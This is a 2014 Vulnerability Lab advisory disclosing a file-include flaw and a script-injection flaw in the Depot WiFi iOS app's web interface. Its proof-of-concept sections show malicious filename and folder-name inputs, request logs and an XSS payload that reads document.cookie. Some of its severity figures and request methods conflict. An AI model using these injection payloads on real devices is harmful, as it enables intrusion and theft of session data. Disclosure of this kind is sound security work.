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Depot WiFi v1.0.0 iOS - Multiple Web Vulnerabilities
- To: bugtraq@xxxxxxxxxxxxxxxxx, bugs@xxxxxxxxxxxxxxxxxxx
- Subject: Depot WiFi v1.0.0 iOS - Multiple Web Vulnerabilities
- From: Vulnerability Lab <research@xxxxxxxxxxxxxxxxxxxxx>
- Date: Fri, 25 Apr 2014 12:41:30 +0200
Document Title:
===============
Depot WiFi v1.0.0 iOS - Multiple Web Vulnerabilities
References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=1259
Release Date:
=============
2014-04-23
Vulnerability Laboratory ID (VL-ID):
====================================
1259
Common Vulnerability Scoring System:
====================================
8.6
Product & Service Introduction:
===============================
With Depot you can archive all kinds of files on your iPhone, iPod or iPad and
then share them on a local WiFi network
In Depot not only you can receive files from other applications that supports
document interaction (as Mail or Safari),
but you can also download and upload files from any kind of PC and internet
enabled devices. You can then open your files
directly on your device or share them between other devices such as
smartphones, tablets, PCs, game consoles and smart TVs
connected through a local WiFi.
(Copy of the Homepage: https://itunes.apple.com/br/app/depot/id858248612 )
Abstract Advisory Information:
==============================
The Vulnerability Laboratory Research Team discovered multiple vulnerabilities
in the official Depot v1.0.0 iOS mobile web-application.
Vulnerability Disclosure Timeline:
==================================
2014-04-23: Public Disclosure (Vulnerability Laboratory)
Discovery Status:
=================
Published
Affected Product(s):
====================
Maurizio Berioli
Product: Depot - iOS Mobile Application 1.0
Exploitation Technique:
=======================
Remote
Severity Level:
===============
High
Technical Details & Description:
================================
1.1
A local file include web vulnerability has been discovered in the official
Depot v1.0.0 iOS mobile web-application. The local file include
web vulnerability allows remote attackers to unauthorized include local
file/path requests or system specific path commands to compromise
the mobile web-application.
The web vulnerability is located in the `filename` value of the `+Files >
Upload!` module. Remote attackers are able to inject own files with
malicious `filename` values in the `Upload!` POST method request to compromise
the mobile web-application. The local file/path include execution
occurs in the `Depot index item list` context of the wifi interface. Attackers
are able to inject own local file requests by usage of the `wifi interface`
path value or by a local privileged device user account via `filename sync`
rename.
Remote attackers are also able to exploit the filename validation issue in
combination with persistent script codes to execute different local malicious
attacks or requests. The attack vector is on the application-side of the wifi
service and the request method to inject is POST. The security risk of the
local file include web vulnerability is estimated as high with a cvss (common
vulnerability scoring system) count of 6.9.
Exploitation of the local file include web vulnerability requires no privileged
application user account or user interaction. Successful exploitation of
the local file include web vulnerability results in mobile application or
connected device component compromise.
Request Method(s):
[+] [POST]
Vulnerable Module(s):
[+] +File > Upload!
Vulnerable Function(s):
[+] Create a new Folder (remote)
[+] rename (local sync)
Vulnerable Parameter(s):
[+] filename (path value)
Affected Module(s):
[+] Depot Index Item Listing (http://localhost/)
1.2
A code execution web vulnerability has been discovered in the official Depot
v1.0.0 iOS mobile web-application. The issue allows an attacker to
compromise the application and connected device components by exploitation of
system specific code execution vulnerability in the webdisk interface.
The vulnerability is located in the GET method request of the `+Folders`
module. The main index provides a folders add form which is not secure
encoding the regular inputs. The context can be implemented to the folders form
and the results is the application-side execution of system
specific malicious codes in the index. The file itself will not be transfered
and the input generates the listing context to the index.
The input field of the +Folders module executes the wrong encoded input via GET
method request by the name value. Remote attackers are able to
execute the own malicious codes by usage of a script code payload in
combination with the affected system device values. The execution of the code
occurs in the main depot file dir listing context. The attack vector is on
application-side and the request method to attack the service is GET.
The security risk of the remote code execution web vulnerability is estimated
as critical with a cvss (common vulnerability scoring system) count of 8.9.
Exploitation of the remote code execution web vulnerability requires no
privileged application user account (passwd default blank) or user interaction.
Successful exploitation of the code execution vulnerability results in mobile
application compromise and connected or affected device component compromise.
Request Method(s):
[+] POST
Vulnerable Module(s):
[+] +Folders
Vulnerable Function(s):
[+] Create a new Folder (remote)
[+] rename (local sync)
Vulnerable Parameter(s):
[+] foldername
Affected Module(s):
[+] Depot Index Item Listing (http://localhost/)
Proof of Concept (PoC):
=======================
1.1
The local file include web vulnerability can be exploited by local attackers
without privileged application user account or user interaction.
For security demonstration or to reproduce the vulnerability follow the
provided information and steps below to continue.
PoC: Exploit Filename Index
<input onclick="toggle(this);" type="checkbox"></div></td><td><div
style="border:1px solid;text-align:center;background-color:DCF0DC;">
<a href="/?ORD=1">Name</a></div></td><td><div style="border:1px
solid;text-align:center;background-color:DCF0DC;"><a
href="/?ORD=2">Date</a></div></td>
<td colspan="2"><div style="border:1px
solid;text-align:center;background-color:DCF0DC;"><a
href="/?ORD=4">Size</a></div></td></tr>
<tr style="background-color:#F0F0F0"><td><input name="file"
value="./var/x/[LOCAL FILE INCLUDE VULNERABILITY].test.png"
type="checkbox"></td>
<td><a href="/./var/x/[LOCAL FILE INCLUDE
VULNERABILITY].test.png">./var/x/[LOCAL FILE INCLUDE
VULNERABILITY].test.png</a></td>
<td> 22.04.2014 11:37 </td><td
style="text-align:right;">538.00</td><td>bytes</td>
--- POC SESSION LOGS [POST] ---
Status: 200[OK]
GET http://localhost:80/?addfile=1 Load Flags[LOAD_DOCUMENT_URI
LOAD_INITIAL_DOCUMENT_URI ] Größe des Inhalts[2924] Mime Type[text/html]
Request Header:
Host[localhost:80]
User-Agent[Mozilla/5.0 (Windows NT
6.3; WOW64; rv:28.0) Gecko/20100101 Firefox/28.0]
Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
Accept-Language[de,en-US;q=0.7,en;q=0.3]
Accept-Encoding[gzip, deflate]
Referer
[http://localhost:80/]
Connection[keep-alive]
Response Header:
Content-Type[text/html]
Content-Length[2924]
Connection[close]
Cache-Control[no-cache]
Status: 200[OK]
POST http://localhost:80/ Load Flags
[LOAD_DOCUMENT_URI LOAD_INITIAL_DOCUMENT_URI ] Größe des Inhalts[2920] Mime
Type[text/html]
Request Header:
Host[localhost:80]
User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:28.0) Gecko/20100101
Firefox/28.0]
Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
Accept-Language[de,en-US;q=0.7,en;q=0.3]
Accept-Encoding[gzip, deflate]
Referer[http://localhost:80/?addfile=1]
Connection[keep-alive]
POST-
Daten:
POST_DATA[-----------------------------2914547563213
Content-Disposition: form-data; name="mauber"; filename="./var/x/[LOCAL FILE
INCLUDE VULNERABILITY].test.png"
Content-Type: image/png
Reference(s):
http://localhost:80/?addfile=
1.2
The code execution web vulnerability can be exploited by remote attackers
without privileged application user account or user interaction.
For security demonstration or to reproduce the vulnerability follow the
provided information and steps below to continue.
PoC #1: Exploit Index Foldername Item
<div style="border:1px
solid;text-align:center;background-color:F0F0FF;">Folders [<a
href="/?adddir=1">+</a>]<br>>"%3E%22%3C.[CODE EXECUTION VULNERABILITY!]+%3C"
<="" created!<="" div=""></td></tr><tr><td><div style='border:1px
solid;text-align:center;background-color:DCDCF0;'> </div></td><td><div
style='border:1px solid;text-align:center;background-color:DCDCF0;'><a
href='/?ORD=1'>Name</a></div></td><td colspan='3'><div style='border:1px
solid;text-
align:center;background-color:DCDCF0;'><a
href='/?ORD=2'>Date</a></div></td></tr><tr
style='background-color:#F0F0F0'><td> </td><td>[<a
href='.deviceMedia.'>.deviceMedia.</a>]</td><td colspan='3'> -
</td></tr><tr style='background-color:#FFFFFF'><td> </td><td>[<a
href='/%3E%22%3C.[CODE EXECUTION VULNERABILITY!]+%3C'>%3E%22%3C.[CODE EXECUTION
VULNERABILITY!]+%3C) <</a>]</td>
PoC #2: Exploit #2 Directory/Path Value
<td><a href="/"><<</a> Browsing:<b>[<a href="/">/</a>][<a
href="/>"<%3E%22%3C.[CODE EXECUTION VULNERABILITY!]+%3C) <">>"<%3E%22%3C.[CODE
EXECUTION VULNERABILITY!]+%3C)" <<="" a="">]</b>
<br> </td></tr><tr><td><table align='center'
style='border-style:none;border-spacing:0'><tr><td colspan='5'><div
style='border:1px solid;text-align:center;background-color:F0F0FF;'>
Folders [<a href='/>"<iframe src=a onload=alert(document.cookie)
<?adddir=1'>+</a>]</div></td></tr><tr><td colspan='4' style='text-align:
center;'>No sub-folders presents.</td></tr>
<tr><td colspan='5'> </td></tr><tr><td colspan='5'><div style='border:1px
solid;text-align:center;background-color:F0FFF0;'>Files [<a
href='/%3E%22%3C.[CODE EXECUTION VULNERABILITY!]+%3C) <?addfile=1'>
+</a>]</div></td></tr><tr><td colspan='4' style='text-align: center;'>No files
present.</td></tr></table></td></tr></table></body></html></iframe></a></b></td>
--- POC SESSION LOGS [GET] ---
GET http://localhost:80/.createdir?newdir=%3E%22%3C.[CODE EXECUTION
VULNERABILITY!]+%3C Load Flags[LOAD_FROM_CACHE ] Größe des Inhalts[-1] Mime
Type[unbekannt]
Request Header:
Host[localhost:80]
User-Agent[Mozilla/5.0
(Windows NT 6.3; WOW64; rv:28.0) Gecko/20100101 Firefox/28.0]
Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
Accept-Language[de,en-US;q=0.7,en;q=0.3]
Accept-Encoding[gzip, deflate]
Referer
[http://localhost:80/?adddir=1]
Response Header:
11:15:44.105[31ms][total 31ms] Status: 200[OK]
GET http://localhost:80/%3E%22%3C.[CODE EXECUTION VULNERABILITY!]+%3C Load
Flags[LOAD_DOCUMENT_URI ] Größe des Inhalts[48] Mime Type
[text/html]
Request Header:
Host[localhost:80]
User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:28.0) Gecko/20100101
Firefox/28.0]
Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
Accept-
Language[de,en-US;q=0.7,en;q=0.3]
Accept-Encoding[gzip, deflate]
Referer[http://localhost:80/]
Connection[keep-alive]
Response Header:
Content-Type[text/html]
Content-Length[48]
Connection[close]
Cache-Control[no-cache]
Reference(s):
http://localhost:80/.createdir?newdir=
Security Risk:
==============
1.1
The security risk of the local file include web vulnerability is estimated as
high.
1.2
The security risk of the code execution web vulnerability is estimated as
high(+).
Credits & Authors:
==================
Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri
(bkm@xxxxxxxxxxxxxxxxx) [www.vulnerability-lab.com]
Disclaimer & Information:
=========================
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